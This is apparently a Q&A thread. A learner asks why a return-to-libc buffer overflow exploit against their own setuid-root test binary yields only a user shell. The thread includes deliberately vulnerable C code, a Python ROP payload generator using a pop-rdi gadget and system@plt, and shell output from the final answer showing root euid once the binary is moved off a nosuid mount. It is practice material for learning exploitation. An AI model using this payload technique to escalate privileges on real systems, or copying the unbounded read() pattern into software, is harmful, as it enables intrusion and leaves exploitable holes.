6

I have been following a few tutorials on bufferoverflow exploitation. But my problem is, that I am not able to open a root shell, I will always get a normal user shell instead. I have checked the following points

I re-verified the following items but still I could not achieve an actual root shell:

  • I properly set the owner of the binary to root and also set the s flag (check)
  • I have verified that the exploit I use is working properly, the correct adresses for system@plt and exit@plt are used and the values are proper loaded into rdi via pop rdi;ret; segments; I do get a shell after all but not a root shell as expected; (check)
  • I heard that nowadays dash and bash do drop privileges and that linking /bin/sh to /bin/zsh will help, but this didnt help me; still getting non root shell (check, approach did not work for me)
  • i also tried to call setuid(0) and seteuid(0) for testing in the binary. still no root shell; (check, didn't work for me)
  • I also saw that some people set /proc/sys/kernel/yama/ptrace_scope to 0 (see post here)see post here, but that's not the case for me (value is set to 1 and I never touched that) (check, my value is set to 1 and that should be ok)
  • I am using linux mint 18.1 serena, maybe there is an additional security feature here that drops privileges and prevents a root-shell?
  • see my c code and exploit python script below for reference (vulnerability is in function vuln()); the function shell() is just to have the addresses to the corresponding @plt functions available (this is just for exercising and playing around)
  • I use 'gcc -fno-stack-protector -o ghost ghost.c' to compile the binary to avoid stack canaries

Does someone have an idea what the problem might be? Why I still wont get a root shell?

Thanks in advance for any advice and hints. Best Zaphoxx

the vulnerable c code:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
    system("/bin/sh");
    exit(0);
}
int vuln(){
    char buf[4];
    ssize_t l=0;
    printf("[+] input: ");
    l=read(0,buf,128);
    printf("[+] recv: ");
    write(1,buf,l);
    return 0;
}

int main(){
    //setbuf(stdout,0);
    setuid(0);
    seteuid(0);
    vuln();
    return 0;
}

python exploit script to create payload:

#!/usr/bin/python
from struct import *
from subprocess import call

poprdi=0x4007e3#pop rdi;ret;
system_plt=0x400560#address of system@plt
exit_plt=0x4005a0#address of exit@plt
shell=0x400804#address of '/bin/sh'
buf=b''
buf+=bytearray("A","utf-8")*24
buf+=pack("<Q",poprdi)
buf+=pack("<Q",shell)
buf+=pack("<Q",system_plt)
buf+=pack("<Q",poprdi)
buf+=pack("<Q",0)
buf+=pack("<Q",exit_plt)

with open("pwn","w") as p:
    p.write(buf)

screenshot from ls -l

EDIT UPDATE:

so I retried as suggested to call execve() in a small binary directly instead of using the vulnerable binary, just to check if that would open a root shell:

zaphoxx@zaphoxx ~/github/ghostInTheShell $ vim shellcode.c
zaphoxx@zaphoxx ~/github/ghostInTheShell $ gcc -fno-stack-protector -o shell shellcode.c
zaphoxx@zaphoxx ~/github/ghostInTheShell $ sudo chown root:root shell ; sudo chmod 4755 shell
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ll shell
-rwsr-xr-x 1 root root 8608 Oct 17 21:29 shell*
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ./shell
$ id                                                                           
uid=1000(zaphoxx) gid=1000(zaphoxx) groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
$ whoami                                                                       
zaphoxx
$ exit                                                                         
zaphoxx@zaphoxx ~/github/ghostInTheShell $ cat shellcode.c
#include <stdio.h>
#include <unistd.h>

int main(){
    char *name[2];
    name[0]="/bin/sh";
    name[1]=NULL;
    execve(name[0],name,NULL);
}
zaphoxx@zaphoxx ~/github/ghostInTheShell $

So it does not open a root shell;

I did link /bin/sh to /bin/zsh as has been suggested in other posts, see here:

zaphoxx@zaphoxx ~/github/ghostInTheShell $ ll $(which sh)
lrwxrwxrwx 1 root root 12 Oct 15 22:09 /bin/sh -> /usr/bin/zsh*
zaphoxx@zaphoxx ~/github/ghostInTheShell $

As suggested by Peter I did use '/usr/bin/id' instead as argument for system in my exploit to check but the result was the same as expected:

zaphoxx@zaphoxx ~/github/ghostInTheShell $ ./ghost < pwn
uid=1000(zaphoxx) gid=1000(zaphoxx) groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
[+] recv: AAAAAAAAHzaphoxx@zaphoxx ~/github/ghostInTheShell $ ll ./ghost
-rwsr-xr-x 1 root root 8816 Oct 17 22:25 ./ghost*
zaphoxx@zaphoxx ~/github/ghostInTheShell $ 

zaphoxx@zaphoxx ~/github/ghostInTheShell $ cat ghost.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
    system("/usr/bin/id");
    exit(0);
}
int vuln(){
    char buf[4];
    ssize_t l=0;
    l=read(0,buf,128);
    printf("[+] recv: %s",buf);
    //write(1,buf,l);
    return 0;
}

int main(){
    //shell();
    //setbuf(stdout,0);
    //setuid(0);
    //seteuid(0);
    vuln();
    return 0;
}
zaphoxx@zaphoxx ~/github/ghostInTheShell $ 

UPDATE: I got a good hint from K.A.Buhr to check /proc/mounts for nosuid entries and:

zaphoxx@zaphoxx ~ $ cat /proc/mounts | grep zaphoxx
/home/zaphoxx/.Private /home/zaphoxx ecryptfs rw,nosuid,nodev,relatime

So this seems to be the cause of my issues. How would I change that the right way or how can I temporarily deactivate nosuid so I can test the exploit(s) ?

20
  • 1
    You say you set the "s flag". Are you sure you got the right flag? It sounds like you might have set the sticky bit or something. Commented Oct 16, 2017 at 21:05
  • 2
    Post ls -l output for your binary, just to double-check that it has the setuid bit set in its permissions. Commented Oct 17, 2017 at 14:27
  • 1
    Probably interesting to try strace -o trace.log -f /bin/sh as the command you run from system, or strace your SUID binary. (I forget if strace changes the behaviour of an SUID executable...) Or try /usr/bin/id or something to check that you can run something simple as root. (Or even just /bin/touch /root/i_was_root) Commented Oct 17, 2017 at 14:55
  • 3
    You may want to check the output of cat /proc/mounts to see if your home directory is mounted nosuid. This will cause the setuid flag to be ignored. Commented Oct 17, 2017 at 21:15
  • 1
    Probably easiest to just work somewhere else, like /usr/local/src/ghostInTheShell. Or copy just the binary somewhere onto a filesystem mounted without nosuid. Maybe with a symlink from your source directory. Commented Oct 17, 2017 at 23:56

1 Answer 1

3

Thanks to everybody for the help provided. Special thanks to K.A.Buhr who provided the right hint.

In /proc/mounts there is multiple entries for folders/filesystem that do have a nosuid flag. That prevented the exploit to open up a root shell as the binary I tried to exploit was in such a folder with nosuid flag.

I moved the binary to /usr/local/src/ghostInTheShell and created a symlink from the original folder to the new one (without nosuid flag).

running the exploit in there everything works as expected. thanks everybody. See results below:

zaphoxx@zaphoxx /usr/local/src/ghostInTheShell $ gcc -fno-stack-protector -o ghost ghost.c ; sudo chown root:root ghost ; sudo chmod 4755 ghost; ll ./ghost;
-rwsr-xr-x 1 root root 8816 Oct 18 12:22 ./ghost*
zaphoxx@zaphoxx /usr/local/src/ghostInTheShell $ ( cat pwn ; cat ) | ./ghost
ls
exp.py   ghost.py   in.txt  peda-session-dash.txt     sexecve.log
fish     ghost.py~  leak    peda-session-ghost.txt    shell
fish.c   gits       leak.c  peda-session-lib2plt.txt  shellcode.c
fish.c~  gits.c     lib2plt pwn
ghost    gits.o     lib2plt.c   pwn.py
ghost.c  in.text    libtest.so  r2lib-addresses
whoami
**root**
id
uid=1000(zaphoxx) gid=1000(zaphoxx) **euid=0(root)** groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
exit
[+] recv: AAAAAAAAH
Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.